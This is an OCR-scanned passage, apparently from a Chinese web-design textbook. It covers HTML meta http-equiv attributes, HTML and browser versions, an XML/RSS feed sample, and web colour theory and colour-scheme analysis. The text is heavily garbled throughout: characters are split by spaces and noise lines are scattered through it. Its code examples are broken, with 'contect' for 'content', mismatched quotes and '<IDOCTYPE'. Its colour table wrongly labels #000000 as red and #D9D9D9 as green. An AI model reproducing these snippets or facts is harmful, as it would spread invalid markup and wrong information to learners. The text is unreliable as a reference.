noindex 网 页 将 不 被 检索 ， 但 网 页 上 的 链接 可 以 被 查询 
nofollow 让 晤 蛛 不 索引 该 页 面 ， 但 是 不 索引 不 代表 不 收录 该 页 面 的 其 他 链接 
2.5.2 http-equiv 属性 
http-equiv 是 META 标签 中 的 一 个 重要 属性 , 浏览 器 显示 这 个 网 页 时 可 以 对 浏览 器 的 状态 进行 一 些 
设 定 。 
1. 语言 与 编码 


<meta http-equiv="Content-Type" contect="text/html";:charset=gb_2312"> 
<meta http-equiv="Content-Language" contect="zh-CN"> 


这 个 属性 用 来 标识 网 页 的 语言 及 使 用 的 编码 方式 ， 其 他 的 字符 编码 方式 有 英文 的 ISO-8859-1 字符 
集 、BIG5、utf-8 等 。 

2. 网 页 刷新 与 跳 转 

<meta http-equiv="Refresh" contect="n;url=http://www.abc.com"> 

定时 让 网 页 在 指定 的 时 间 n 内 ， 跳 转 到 URL 的 网 页 上 。 如 果 跳 转 到 原来 的 网 页 上 ， 则 定时 刷新 


网 页 。 


@ 


aas mw ase 


3. 设 定 网 页 的 到 期 时 间 

<meta http-equiv="Expires" contect="Mon,12 May 2014 00:20:00 GMT"> 

用 于 设 定 网 页 的 到 期 时 间 ， 一 旦 时 间 到 期 则 需要 重新 下 载 网 页 。 需 要 注意 的 是 ， 必 须 使 用 GMT 
时 间 格 式 。 

4. 禁止 浏览 器 从 缓存 中 调用 页 面 

<meta http-equiv="Pragma" contect="no-cache"> 

在 用 浏览 器 打开 网 页 时 ， 如 果 本 地 计算 机 的 缓存 中 已 经 有 这 一 网 页 ， 则 会 从 缓存 中 调用 这 一 网 页 
而 不 是 在 服务 器 上 再 次 下 载 。 这 一 属性 用 于 设 定 禁 止 浏览 器 从 本 地 计算 机 缓存 中 调 阅 页 面 内 容 。 当 关 
闭 网 页 时 ， 缓 存 就 不 可 以 再 次 读 出 。 

5. 设置 Cookie 时 间 

<meta http-equiv="set-cookie" contect="Mon,12 May 2014 00:20:00 GMT"> 

Cookie 的 时 间 设 定 。 如 果 网 页 时 间 过 期 ,计算 机 中 的 Cookie 将 会 删除 。 时 间 设 定 必须 使 用 GMT 
时 间 格 式 。 

在 打开 网 页 时 ， 服 务 器 可 能 向 浏览 器 发 送 一 段 信息 对 浏览 器 的 计算 机 作出 一 些 标记 。 当 再 次 访问 
这 个 网 站 时 ， 浏 览 器 会 自动 把 这 段 信息 发 送 给 服务 器 。 这 就 是 网 站 中 的 Cookie。 

6. 网 页 的 等 级 评定 

<meta http-equiv="Pics-label" contect="> 

网 页 等 级 评定 设置 。IE 可 以 设置 防止 浏览 一 些 受 限制 的 网 站 。 网 站 的 限制 级 别 就 是 通过 META 属 
性 来 设置 的 。 

在 正 浏 览 器 中 选择 “工具 ”| “Internet 选项 ”命令 ， 弹 出 “Intemet 选项 ”对 话 框 ， 选 择 “内 容 ” 
选项 卡 ， 单 击 “ 启 用 ”按钮 ， 打 开 “ 内 容 审查 程序 ”对 话 框 ， 即 可 对 网 站 的 等 级 进行 设置 ， 如 图 2-48 
所 示 。 
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2-48 ”网 页 访问 级 别 设置 


7. 强制 页 面 在 窗口 中 以 独立 页 面 显示 

<meta http-equiv="windows-Target" contect=”top"> 

在 这 个 属性 设置 中 , 会 强制 页 面 在 窗口 中 以 独立 页 面 显示 。 可 以 防止 网 页 被 其 他 网 页 作为 一 个 FRAME 
框架 网 页 或 IFRAME 网 页 调用 。 

8. 设置 网 页 加 载 或 离开 时 的 过 渡 效 果 

<meta http-equiv="Page-Enter contect="revealTrans(duration=8,transtion= 66)"> 

<meta http-equiv="Page-Exit" contect="revealTrans(duration=20,transtion=6)"> 

设 定 打 开 和 关闭 网 页 时 的 特殊 效果 。 这 种 功能 在 FrontPage 中 设置 与 制作 非常 容易 , 但 在 Dreamweaver 
中 需要 编写 相关 的 代码 。 


2.6 常见 问题 


2.6.1 网 页 中 代码 大 小 写 问题 和 引号 问题 


HTML 代码 是 不 区 分 大 小 写 的 ,所 以 HTML 可 以 随意 用 大 写 或 小 写字 母 来 书写 在 HTML 标签 中 ， 
每 一 个 属性 完成 以 后 需要 用 空格 隔 开 。 

在 HTML 代码 中 需要 区 别 字 符 的 全 角 和 半角 ，HTML 标签 中 不 可 以 出 现 全 角 字 符 ， 特 别 要 注意 的 
是 ,不 可 以 出 现 全 角 的 引号 、 单 引号 、 全 角 空 格 等 内 容 ， 否 则 会 导致 这 段 HTML 标签 无 法 显示 。 

在 HTML 代码 中 的 双 引 号 ， 可 以 不 使 用 或 用 单 引号 来 代替 。 但 如 果 使 用 引号 ， 则 必须 正确 配对 。 
下 面 的 HTML 代码 都 是 合法 的 : 

<IMG SRC=AA.GIF WIDTH=100> 

<IMG SRC='AA.GIF' WIDTH="100'> 

但 是 下 面 的 代码 是 不 正确 的 : 

<IMG SRC="AA.GIF WIDTH=100"> 

<IMG SRC="AA.GIF' WIDTH=100> 

合理 地 省 略 HTML 代码 的 引号 ， 在 动态 网 站 编程 文本 输出 时 非常 方便 ， 可 以 有 效 避 免 文 本 输出 时 
对 引号 的 处 理 。 


2.6.2 HTML 与 浏览 器 的 不 同 版 本 


用 来 编写 网 页 的 HIML 有 不 同 的 版 本 ， 不 同 版 本 的 HTML 可 能 有 一 些 差别 。 同样 ,各 种 网 页 浏览 
器 对 网 页 代码 的 支持 是 不 同 的 。 


1. HTML 的 版 本 
HTML 自从 1993 年 发 布 第 一 个 版 本 以 来 ， 又 陆续 发 布 了 很 多 个 版 本 。 这 些 不 同 版 本 的 HTML 基 
本 上 是 向 前 兼容 的 ， 高 版 本 的 HIML 一 般 可 以 正常 兼容 低 版 本 的 HIML。 在 网 页 中 ， 一 般 会 标记 当前 
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HTML 所 使 用 的 版 本 。 代 码 如 下 : 


<IDOCTYPE HTML PUBLIC "-WW3CWDTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/ loose. 
dtd"> 


下 面 是 一 些 HTML 的 版 本 。 


园 加 回回 加 加 加 
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HTML 第 一 版 : 在 1993 年 6 月 互联 网 工程 工作 小 组 (IETF) 工作 草案 中 发 布 。 

HTML 2.0: 1995 年 11 月 RFC 1866 发 布 。 

HTML 3.2: 1996 年 1 月 ，W3C 推荐 标准 。 

HTML 4.0: 1997 年 12 月 ，W3C 推荐 标准 。 

HTML 4.01 (微小 改进 ): 1999 年 12 月 24 日 ，W3C 推荐 标准 。 

HTML 5: W3C 于 2008 年 1 月 22 日 发 布 了 HTML 5 工作 草案 , 2012 年 12 月 17 日 正式 定稿 。 
ISO/TEC 15445:2000: 国际 标准 化 组 织 和 国际 电工 委员 会 于 2000 年 5 月 发 布 ,基于 严格 的 HTML 
4.01 语法 。 

XHTML 1.0: 发 布 于 2000 年 1 月 , 是 W3C 推荐 标准 XHTML 在 HTML 4.0 基础 上 进行 优化 
和 改进 ， 可 扩展 性 和 灵活 性 将 适应 未 来 网 络 应 用 更 多 的 需求 。 


常用 的 浏览 器 


浏览 器 也 有 不 同 的 版 本 与 类 型 。 这 些 浏 览 器 有 着 不 同 的 特点 ， 有 些 支持 不 同 的 HTML 代码 或 
JavaScript 代码 。 下 面 是 一 些 常用 的 浏览 器 。 
回 


Internet Explorer 又 称 正 或 正 浏览 器 , 是 Windows 系统 捆绑 自 带 的 一 个 浏览 器 。IE 使 用 方便 ， 
功能 强大 。Windows XP 上 的 正 是 6.0 版 ， 正 的 最 新 版 本 为 10.0 版 下 10.0 有 着 更 好 的 界面 
风格 与 安全 性 。 如 图 2-49 所 示 是 Internet Explorer 10.0 的 工作 界面 。 

Netscape 是 网 景 通信 公司 1994 年 发 布 的 一 个 浏览 器 ， 曾 经 是 一 个 非常 强大 并 且 广 泛 使 用 的 浏 
览 器 。JavaScript 是 Netscape 发 布 的 针对 网 页 HTML 对 象 编程 的 一 种 语言 。Netscape 对 
JavaScript 有 着 非常 好 的 支持 。 如 图 2-50 所 示 为 Netscape 浏览 器 的 使 用 界面 。 


Securty Tabbed Browsing Toolbars Formmhl 


2-49 ”Internet Explorer 10.0 的 界面 2-50 Netscape 浏览 器 界面 


Firefox (火狐 ) 浏览 器 是 近年 来 非常 流行 的 一 个 浏览 器 ， 具 有 非常 优秀 的 安全 性 与 访问 速度 。 
如 图 2-51 所 示 是 Firefox 的 访问 用 户 界 面 。 
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图 2-51 Firefox 浏览 器 界面 


浏览 器 还 有 很 多 种 ， 但 一 般 都 是 基于 这 些 浏览 器 的 内 核 进行 封装 获得 新 设计 的 用 户 界面 ， 并 没有 
多 少 本 质 的 不 同 。 


3. 网 页 设计 有 时 需要 考虑 到 浏览 器 的 版 本 


在 制作 网 页 时 ， 一 般 是 不 考虑 用 户 的 浏览 器 的 。 一 般 认 为 不 同 浏览 器 的 浏览 效果 是 相同 的 。 但 实 
际 上 ， 不 同 浏览 器 对 不 同 版 本 的 HTML 的 支持 是 不 同 的 。 在 进行 网 页 设计 ， 特 别 是 在 JavaScript 的 编 
写 时 ， 有 时 需要 考虑 到 不 同 浏览 器 对 这 些 内 容 的 支持 情况 。 有 些 网 站 需要 对 浏览 器 的 客户 端 进行 判断 ， 
以 生成 针对 不 同 客户 浏览 器 的 网 页 。 


2.6.3 HTML 与 XML 


近年 来 ， 网 站 上 大 量 使 用 了 XML 技术 ，XML 逐渐 在 网 页 制作 中 流行 。XML 与 HTML 之 间 有 一 
定 的 区 别 与 联系 。 

XML (eXtentsible Markup Language) 即 可 扩展 标记 语言 , 是 用 来 定义 其 他 语言 的 一 种 元 语言 。 XML 
没有 标签 集 ， 也 没有 语法 规则 ， 只 有 句法 规则 。XML 文档 对 任何 类 型 的 应 用 与 解析 都 必须 有 匹配 的 结 
束 标 签 ， 不 得 含有 次 序 不 规范 的 标签 。 

HTML 的 主要 功能 是 用 来 编写 网 页 的 内 容 。 XML 的 可 扩展 标记 功能 也 可 以 用 来 定义 为 描述 网 页 的 
内 容 ， 于 是 网 页 代码 也 可 以 用 XML 来 表示 。 

与 HTML 不 同 ，XML 标记 可 以 在 架构 或 文档 中 定义 ， 可 以 是 无 限制 的 。HTML 标记 则 是 预定 义 
的 , 用 户 不 能 够 改变 。 这 样 , XML 在 网 页 的 标记 中 就 有 更 好 的 灵活 性 , 但 表示 的 都 是 相同 的 网 页 代码 。 
对 于 浏览 网 页 的 用 户 是 没有 区 别 的 ,如 下 面 代码 是 新 浪 RSS 的 一 个 XML 网 页 的 部 分 代码 (http://rss.sina. 


com.cn/news/allnews/auto.xml) 。 


<?xml version="1.0" encoding="utf-8"?> 
<?xml-stylesheet type="text/xsI" title="XSL Formatting" href="/show_new. final.xsl" media="all"?> 
<rss version="2.0"> 

<channel> 
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<title> 
<![CDATA[ 焦 点 新 闻 - 新 浪 汽车 ]]> 
</title> 
<image> 
<title> 
<![CDATA[ 汽 车 焦点 新 闻 ]]> 
</title> 
<link>http://auto.sina.com.cn</link> 


<url>http://www.sinaimg.cn/home/deco/2009/0330/logo_home.gif</url> 


</image> 
<description> 

<![CDATA[ 汽 车 焦点 新 闻 ]]> 
</description> 
<link>http://auto.sina.com.cn</link> 
<language>zh-cn</language> 
<generator>-WWW.SINA.COM.CN</generator> 
<ttl>5</ttl> 
<copyright> 

<I[CDATA[Copyright 1996 - 2014 SINA Inc. All Rights Reserved]]> 
</copyright> 
<pubDate>Sun, 7 Sep 2014 17:05:06 GMT</pubDate> 
<category> 

<I[CDATAI]> 
</category> 
<item> 

<title> 

<![CDATA[ 宿 迁 宝马 5 系 少量 现 车 最 高 优惠 7 万 元 ]> 
</title> 


<link>http://go.rss.sina.com.cn/redirect.php?url=http://auto.sina.com.cn/car/2014-09-07/19591329869.sht 
ml</link> 


<author>SINA.com</author> 


<guid>http://go.rss.sina.com.cn/redirect.php?url=http://auto.sina.com.cn/car/2014-09-07/19591329869.sht 
ml</guid> 


<category> 
<![CDATA[ 汽 车 新 闻 ]]> 
</category> 
<pubDate>Sun, 7 Sep 2014 11:59:11 GMT</pubDate> 
<comments></comments> 
<description> 


<![CDATA[ ”新 浪 宿迁 汽车 讯 近日 ， 宿 迁 宝 尊 宝 马 店内 宝马 5 系 现 车 销售 , 颜色 可 选 , 目 


前 购车 部 分 车 型 可 优惠 7 万 元 ， 感 兴趣 的 朋友 可 以 到 店 咨询 购买 ， 详 情 见 下 表 : 
车 型 名 称 厂家 指导 价 市 场 价 优 惠 促销 


@_ 


2014 款 宝马 5 系 520Li 典雅 型 
43.56 万 元 
39.56..F 


</description> 
</item> 
<item> 
<title> 
<![CDATA[ 美 式 经 典 之 作 苏州 迈 锐 宝 最 高 优惠 3.2 万 ]]> 
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</title> 


<link>http://go.rss.sina.com.cn/redirect.php?url=http://auto.sina.com.cn/car/2014-09-07/17491329867.sht 
ml</link> 
<author>SINA.com</author> 


<guid>http://go.rss.sina.com.cn/redirect.php?url=http://auto.sina.com.cn/car/2014-09-07/17491329867.sht 
ml</guid> 
3 旧名 
<![CDATA[ 汽 车 新 闻 ]]> 
</category> 
<pubDate>Sun, 7 Sep 2014 09:49:35 GMT</pubDate> 
<comments></comments> 
<description> 
<![CDATA[ 近 期 团购 : 奥迪 宝马 别克 福特 雪佛兰 热点 推荐 | 新 浪 苏 州 汽车 深度 评测 宝 骏 
730&nbsp; 带 一 体式 儿童 座 椅 车 型 推荐 &nbsp; 更 多 详情 &gt&gt&gt'; 


市 场 价 | 配置 | 图 库 | 
视频 | 售后 |…]> 
</description> 
<litem> 
<item> 
</channel> 
</rss> 


RSS 是 Really Simple Syndication 〈 简 易 供 稿 ) 的 缩写 。 网 络 用 户 可 以 在 客户 端 阅读 支持 RSS 输出 
的 网 站 ， 而 不 必 打 开 网 站 内 容 页 面 。RSS 页 面 一 般 采 用 XML 语言 编写 。 

XML 语言 编写 的 网 页 和 HTML 语言 编写 的 网 页 的 实现 效果 是 相同 的 ， 只 是 描述 网 页 的 代码 不 同 。 
如 图 2-52 所 示 是 上 面 的 XML 网 页 的 运行 效果 。 
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GO i nt i, i A 和 EE pT- 
这 收藏 天 。 的 Rss- 焦点 新 闻 -新 浪 汽 车 


宿迁 宝马 5 系 少量 现 车 最 高 优惠 7 万 元 

新 浪 宿迁 汽车 讯 近日 ， 宿 迁 室 尊 宝 马 店 内 宝马 5 系 现 车 销售 ， 颜 色 可 选 ， 目 前 购车 部 分 车 型 可 优惠 7 万 
元 ， 感 兴趣 的 朋友 可 以 到 店 咨询 购买 ， 详 情 见 下 表 : ”车 型 名 称 厂家 指导 价 市 场 价 优惠 促销 2014 款 宝马 5 系 
520Li 典 雅 型 43.56 万 元 39.56.… 
http://go.rss.sina.com.cn/redirect.php?url=http://auto.sina.com.cn/car/2014-09-07/19591329869.shtml 
北京 发 布 时 间 : 2014 年 9 月 7 日 19:59:11 《距离 现在 5 小 时 10 分 钟 ) 


美式 经 典 之 作 苏州 迈 锐 宝 最 高 优惠 3.2 万 

近期 团购 : 奥迪 宝马 别克 福特 雪佛兰 热点 推荐 | 新 浪 苏 州 汽车 深度 评测 宝 骏 730&nbsp: 带 一 体式 儿童 座 
椅 车 型 推荐 &nbsp; 更 多 详情 &gt&gk&gt 市 场 价 | 配置 | 图库 | 视频 | 售后 |… 
http://go.rss.sina.com.cn/redirect.php?url=http://auto.sina.com.cn/car/2014-09-07/17491329867.shtml 
北京 发 布 时 间 : 2014 年 9 月 7 日 17:49:35 (距离 现在 7 小 时 20 分 钟 ) 


2-52 ”XML 网 页 的 运行 效果 


Naas mw ne 


2.7 小 结 


HTML 是 网 站 中 每 个 网 页 的 页 面 描述 和 标记 的 规范 。 在 网 站 开发 ， 特 别 是 动态 网 站 开发 方面 ， 需 
要 熟练 掌握 和 使 用 HTML 代码 的 书写 。 在 静态 网 页 中 ，HTML 一 般 可 以 通过 网 页 设计 软件 实现 代码 的 
生成 ， 但 在 某 些 运用 中 需要 直接 对 HTML 代码 进行 操作 和 书写 。HTML 是 Web 程序 开发 的 一 个 基础 


知识 。 

HTML 代码 的 学 习 主 要 是 能 够 通过 HTML 代码 实现 网 页 的 排版 和 内 容 的 显示 。 在 动态 网 站 设计 时 ， 
常常 看 不 到 任何 设计 内 容 ， 完 全 根据 HTML 代码 的 输出 来 完成 网 页 的 生成 ， 这 就 要 求 设计 者 在 书写 
HTML 代码 时 ， 能 够 根据 HTML 代码 在 脑海 中 正确 形成 网 页 的 画面 。 
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网 站 及 页 面 的 色彩 搭配 


色 乳 的 搭配 

膏 用 有 的 网 页 色彩 搭配 方式 
网 页 色 和 乳 的 规划 

色 乳 搭配 技巧 

网 页 配色 宽 析 


豆 豆 吾 吾 至 


网 页 美 现 大 方 的 颜色 是 树立 网 站 形象 的 重要 手段 之 一 。 美观 的 网 站 颜色 ,能 使 用 户 容 
易 接 受 网 站 的 内 容 ， 给 用 户 留 下 深刻 的 印象 。 

网 页 的 颜色 首要 考虑 的 是 网 页 的 主体 色调 风格 ， 所 有 的 页 面 设计 都 需要 在 这 个 风格 色 
调 下 进行 。 同 时 ， 网 站 由 图 片 、 文 字 、 链 接 、 和 背景 等 不 同 元 素 构 成 ， 这 些 设计 元 素 都 需要 
考虑 到 颜色 和 整体 网 页 效果 的 搭配 。 本 章 将 详细 讲解 网 页 的 颜色 设计 问题 。 


网 本 从 与 网 站 建设 技术 让 


3.1 色彩 基础 知识 


在 美术 学 中 ， 不 管 是 什么 艺术 设计 ， 颜 色 的 搭配 与 设计 都 有 一 些 统一 的 原则 。 网 页 也 是 平面 设计 
的 一 种 ， 网 页 的 色彩 设计 也 同 其 他 艺术 设计 一 样 ， 有 着 美术 学 与 颜色 学 的 原理 。 在 学 习 网 页 设计 时 ， 
需要 对 颜色 学 的 知识 有 一 定 的 学 习 和 了 解 ， 在 设计 中 需要 遵循 一 些 美术 设计 的 原理 。 


3.1.1 色彩 的 基本 概念 


在 物理 学 中 ,颜色 是 由 红 、 黄 、 蓝 3 种 原色 构成 的 。3 种 原色 不 同 的 组 合 ， 构 成 现实 世界 中 所 有 丰 
富 多 彩 的 颜色 。 白 色 不 是 没有 颜色 ， 而 有 含有 全 部 的 颜色 。 黑 色 不 是 有 颜色 ， 而 是 黑色 物体 不 反射 任 
何 光线 ， 看 上 去 才 表 现 为 黑色 。 

在 设计 中 ， 颜 色 分 为 彩色 与 非 彩 色 两 种 。 非 彩色 是 指 只 含有 灰 、 白 、 黑 三 系 的 颜色 。 彩 色 是 指 非 
彩色 以 外 所 有 的 颜色 。 

网 页 HTML 语言 中 的 色彩 表达 即 是 分 别 用 红 、 黄 、 蓝 3 种 颜色 的 值 来 表示 的 。 分 别 把 红 、 黄 、 蓝 
3 种 颜色 分 为 256 个 等 级 ， 用 不 同 组 合 形成 不 同 的 颜色 。 那 么 ， 网 页 上 就 可 以 形容 2 种 颜色 。 颜 色 的 
值 用 十 六 进 制 数 来 表示 ， 红 色 是 # 丁 F0000， 黑 色 是 #000000， 白 色 是 盾 FFFFF。 在 进行 网 页 设计 时 ， 需 
要 记忆 和 识别 这 些 常用 的 颜色 代码 。 表 3-1 是 一 些 需要 记忆 的 常用 网 页 颜色 的 代码 。 


表 3-1 常见 的 网 页 颜色 和 代码 


代码 颜色 

HEEFFFFF 黄色 
#000000 红色 
#D9D9D9 绿色 
#0000FF 淡 

网 页 中 是 用 颜色 代码 来 表示 颜色 的 。 如 下 面 的 网 页 代码 ， 分 别 设置 表格 单元 格 的 背景 颜色 和 文本 

的 颜色 。 

<html xmIns="http://www.w3.org/1999/xhtmI"> 

<head> 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<title> 颜 色 示 例 </title> 

</head> 

<body> 表 格 的 背景 颜色 

<table width="400" border="0" cellpadding="0" cellspacing="0"> 

<tr> 


<td bgcolor="#996699">&nbsp;</td> 
<td bgcolor="#000000">&nbsp;</td> 
</tr> 
<tr> 
<td bgcolor="#CCCCCC">&nbsp;</td> 
<td bgcolor="#FF0000">&nbsp;</td> 


@_ 


</tr> 
<tr> 
<td bgcolor="#00FF33">&nbsp;</td> 
<td bgcolor="#FFFF33">&nbsp;</td> 
</tr> 
</table> 
<p> 文 本 的 颜色 <br /> 
<font ”color="#FF0000" > 红色 文本 </font><br /> 
<font ”color="#FF0000" > 红色 文本 </font><br /> 
<font ”color="#0000FF" > 蓝 色 文本 </font><br /> 
<font ”color="#00FF00" > 绿色 文本 </font><br /></p> 
</body> 
</html> 
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3-1 网 页 中 的 颜色 


3.1.2 ”网 页 色彩 的 冷暖 视觉 


冷暖 本 来 是 指 人 的 皮肤 对 温度 的 感觉 ,但 是 不 同 的 颜色 ， 可 以 根据 日 常生 活 中 对 这 些 颜 色 的 认识 
给 人 的 视觉 造成 一 定 的 冷暖 。 例 如 ， 桔 红色 给 人 火 和 太阳 的 感觉 ， 就 是 暖色 ， 蓝 色 给 人 天 空 的 感觉 ， 
白色 给 人 冰川 的 感觉 ， 就 是 冷色 。 从 色彩 心理 学 来 考虑 ， 桔 红 的 纯色 被 定 为 最 暖色 ， 在 色 立 体 上 为 
暖 极 ， 天 蓝 的 纯色 被 定 为 最 冷色 ， 在 色 立 体 上 称 为 冷 极 ， 并 用 冷暖 两 极 的 关系 来 划分 色 立 体 其 他 颜 
色 的 冷暖 程度 与 冷暖 差别 。 与 暖 极 近 的 称 为 暖色 ， 与 冷 极 近 的 称 为 冷色 ， 与 两 极 距离 相等 的 颜色 ， 
称 为 中 性 色 。 由 此 可 知 ， 红 、 橙 、 黄 等 是 暖色 ， 蓝 绿 、 蓝 、 蓝 紫 是 冷色 ， 黑 、 白 、 灰 、 彩 、 紫 等 是 
中 性 色 。 

如 图 3-2 所 示 ， 三 星 的 网 页 中 使 用 了 白色 的 主 色 调和 一 些 浅 蓝 色 及 深蓝 色 ， 网 页 的 视觉 效果 非常 
清淡 ， 是 一 种 很 好 的 浅 色 搭配 方案 。 如 图 3-3 所 示 ， 在 步步高 快乐 女生 的 首页 中 ， 网 页 使 用 了 大 量 的 
紫色 和 红色 ， 网 页 的 视觉 效果 非常 强烈 沉重 。 
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图 3-2 冷色 网 页 图 3-3 暖色 网 页 


3.1.3 网 页 安全 色 


不 同 的 硬件 环境 、 操 作 系统 、 浏 览 器 对 各 种 颜色 的 表现 有 所 不 同 。 当 显示 的 颜色 与 设计 的 颜色 不 
同时 ， 就 会 产生 失真 。 但 所 有 的 这 些 环 境 都 可 以 正常 显示 216 种 颜色 集合 〈 调 色 板 ) ， 也 就 是 说 这 些 
颜色 在 任何 计算 机 上 的 显示 都 是 相同 的 。 所 有 网 页 中 如 果 使 用 这 216 种 颜色 ， 就 可 以 避免 颜色 失真 的 
问题 。 

网 络 安全 色 在 物理 学 上 是 当红 色 (Red) 、 绿 色 (Green) 、 蓝 色 (Blue) 的 颜色 数字 信号 值 为 0、 
51、102、153、204、255 时 构成 的 216 种 颜色 组 合 ， 这 其 中 有 彩色 210 种 ， 非 彩色 为 6 种 。 

当 网 页 中 的 有 些 颜 色 显 示 设 备 无 法 正确 还 原 时 ， 显 示 设 备 就 会 使 用 与 需要 相似 的 颜色 ， 使 显示 的 
颜色 尽量 达到 需要 的 效果 。 但 是 这 216 种 颜色 在 表现 高 清晰 度 的 图 片 时 可 能 会 有 所 欠缺 ， 但 表现 网 页 
的 文字 、 背 景 的 颜色 还 是 完全 可 以 的 。 

使 用 216 种 安全 色 是 网 页 设计 中 积累 经 验 的 结果 ， 在 进行 网 页 的 页 面 设 计时 ， 要 尽量 使 用 网 页 安 
全 色 ， 这 样 就 可 以 更 准确 、 真 实地 表现 网 页 的 颜色 效果 。 

在 Dreamweaver 的 颜色 板 中 使 用 的 颜色 都 是 网 页 安全 色 。 在 Fireworks 中 有 网 页 颜色 优化 工具 , 可 
以 把 自 ii 如 图 3-4 所 示 为 Fireworks 中 的 网 页 安全 色色 板 。 
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图 3-4 ”Fireworks 网 页 安全 色色 板 


3 网 页 色彩 搭配 分 析 


不 同 的 色彩 会 使 人 产生 不 同 的 联想 与 感觉 ， 不 同类 型 的 网 站 一 般 有 着 不 同 的 风格 与 色调 。 这 些 不 
同 的 色调 与 风格 可 以 体现 出 网 站 不 同 的 行业 与 5 内 容 。 


全 
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3.2.1 ”科技 与 时 尚 


科技 与 时 尚 是 一 个 时 代 的 主题 。 在 网 站 设计 中 ， 常 常 需要 体现 出 科技 与 时 尚 的 主题 与 内 容 。 某 些 
色调 可 以 很 好 地 表现 出 这 一 主题 的 内 容 与 氛围 。 
在 网 页 配色 中 ， 一 般 使 用 灰色 与 蓝 色 表现 科技 主题 。 常 见 的 与 科技 相关 的 网 站 一 般 使 用 蓝 色 色调 ， 
并 且 在 蓝 色 色调 中 搭配 一 定 的 大 红色 与 灰色 。 有 人 金属 质感 的 “科技 灰 ” 也 是 一 种 很 好 地 表现 科技 色彩 
的 颜色 风格 。 
例如 ， 中 国 科技 部 网 站 与 网 易 科 技 频 道 都 使 用 了 蓝 色 色调 并 且 搭 配 大 红颜 色 。 在 这 样 的 色彩 搭配 
中 ， 很 容易 体现 出 科技 的 气氛 。 如 图 3-5 所 示 是 科技 部 的 蓝 色 搭配 样式 。 
在 中 国 科技 部 的 首页 中 ， 采 用 了 蓝 色 的 Banner 图 片 与 蓝 色 的 链接 文字 作为 主体 颜色 。 在 导航 条 与 
新 闻 图 片 中 使 用 蓝 色 。 整 个 网 页 的 颜色 非常 具有 层次 感 。 

网 站 中 的 时 尚 内 容 一 般 都 是 粉红 色 或 紫色 来 体现 ， 也 有 一 些 用 夸张 的 色彩 来 体现 。 例 如 ， 用 来 体 
现 女性 购物 色彩 的 网 站 一 般 都 是 粉红 色 或 者 紫色 ， 这 种 风格 有 强烈 的 性 别 色彩 。 例 如 ， 硅 谷 动力 女性 
频道 的 首页 ， 如 图 3-6 所 示 。 
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图 3-5 中 国 科技 部 的 蓝 色 网 页 图 3-6 ”硅谷 动力 女性 频道 的 紫色 搭配 
硅谷 动力 女性 频道 采用 了 紫色 和 黑色 为 主要 色调 的 搭配 。 网 页 的 最 上 端 使 用 黑色 导航 条 和 黑色 
Banner 广告 条 。 网 页 中 大 量 使 用 的 紫色 背景 ， 与 黑色 和 白色 形成 强烈 的 对 比 ， 使 网 页 具有 强烈 的 视觉 
效果 。 网 页 中 的 文字 则 采用 白色 ， 使 文字 非常 清晰 ， 便 于 网 页 的 阅读 。 这 个 网 页 广告 、 文 本 、 图 片 的 
色彩 感觉 突显 出 强烈 的 时 尚 特征 。 


3.22， 文化 与 艺术 


op 一 般 都 使 用 中 国 传统 文化 的 颜色 风格 来 体现 。 中 国 传统 文化 艺术 有 
一 些 特定 的 颜色 组 合 。 文 化 艺术 类 网 站 可 以 根据 需要 表现 的 文化 艺术 内 容 ， 选 用 与 这 些 文化 艺术 相符 
i 

例如 ， 书 法 类 的 网 站 可 以 使 用 黑色 、 白 色 与 灰色 的 搭配 。 文 艺 类 的 网 站 可 以 使 用 类 似 舞 台 的 大 红 
大 绿 的 色彩 。 体 现 国 画 艺 术 的 网 站 ， 可 以 使 用 类 似 于 国画 颜色 的 质朴 色彩 配色 方案 。 如 图 3-7 所 示 为 
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中 国文 化 部 网 站 的 首页 。 
中 国文 化 部 网 站 的 首页 ， 充 分 运用 了 与 中 国 传统 国画 相似 的 颜色 搭配 方案 。 在 颜色 的 搭配 中 ， 网 
站 充分 运用 了 中 国 传统 绘画 颜色 中 的 橙色 、 大 红色 、 橙 黄色 。 网 页 使 用 了 中 国 传统 艺术 中 的 京剧 脸谱 、 


传统 雕塑 图 案 等 设计 元 素 。 整 个 网 站 的 色彩 风格 就 如 同一 幅 色 彩 层次 分 明 的 国画 ， 充 分 体现 了 中 国 传 

统 文化 的 特征 风貌 。 
艺术 类 网 站 可 以 使 用 比较 夸张 的 颜色 搭配 。 例 如 ， 可 以 使 用 比较 夸张 的 黑色 背景 或 红色 背景 。 网 

页 的 具体 用 色 也 可 以 使 用 类 似 于 艺术 创意 的 夸张 颜色 。 

如 图 3-8 所 示 为 一 个 黑色 色调 的 网 页 。 网 页 的 背景 使 用 了 非常 夸张 的 黑色 背景 ， 再 使 用 粉红 色 和 

白色 文字 ， 图 片 使 用 一 部 分 浅 色 的 图 片 。 这 种 网 页 的 搭配 ， 色 彩 感觉 很 强烈 ， 网 页 上 的 内 容颜 色 非常 

清晰 。 
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图 3-7 中 国文 化 部 网 站 图 3-8 黑色 色调 的 网 页 
3.2.3 ”神秘 与 优雅 


对 于 宣传 某 些 具有 一 定 情感 色彩 产品 或 表现 这 些 内 容 的 网 站 ， 网 站 的 不 同 颜色 也 可 以 表现 出 不 同 
的 情感 。 例 如 ， 蓝 色 很 容易 让 人 联想 到 大 海 与 天 空 ， 白 色 很 容易 让 人 联想 到 冰川 与 雪 地 。 人 们 在 浏览 
网 站 时 ， 会 对 网 站 的 不 同色 彩 搭配 产生 类 似 的 情感 联想 。 

对 于 有 一 定 情感 倾向 的 网 站 ， 需 要 根据 所 要 表达 的 情感 采用 正确 的 配色 。 在 使 用 颜色 表达 情感 倾 
向 的 色彩 搭配 中 ， 可 以 使 用 多 种 色彩 对 比 强烈 的 颜色 以 增强 这 种 表达 效果 。 

例如 ， 紫 色 与 黑色 可 以 表现 出 一 种 神秘 的 气氛 ， 休 闲 类 的 网 站 可 以 使 用 这 种 效果 。 紫 色 与 粉红 色 
的 搭配 ， 可 以 表现 出 优雅 的 气氛 ， 购 物 类 的 网 站 可 以 使 用 这 种 色彩 搭配 。 

如 图 3-9 所 示 为 Windows 正版 俱乐部 网 页 。 网 页 使 用 了 绿色 背景 与 白色 文字 、 白 色 图 片 。 这 个 网 
页 的 颜色 非常 自然 和 谐 ， 给 人 一 种 置身 森林 的 感觉 。 
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图 3-9 Windows 正版 俱乐部 网 页 的 配色 


3.2.4 激情 与 梦幻 


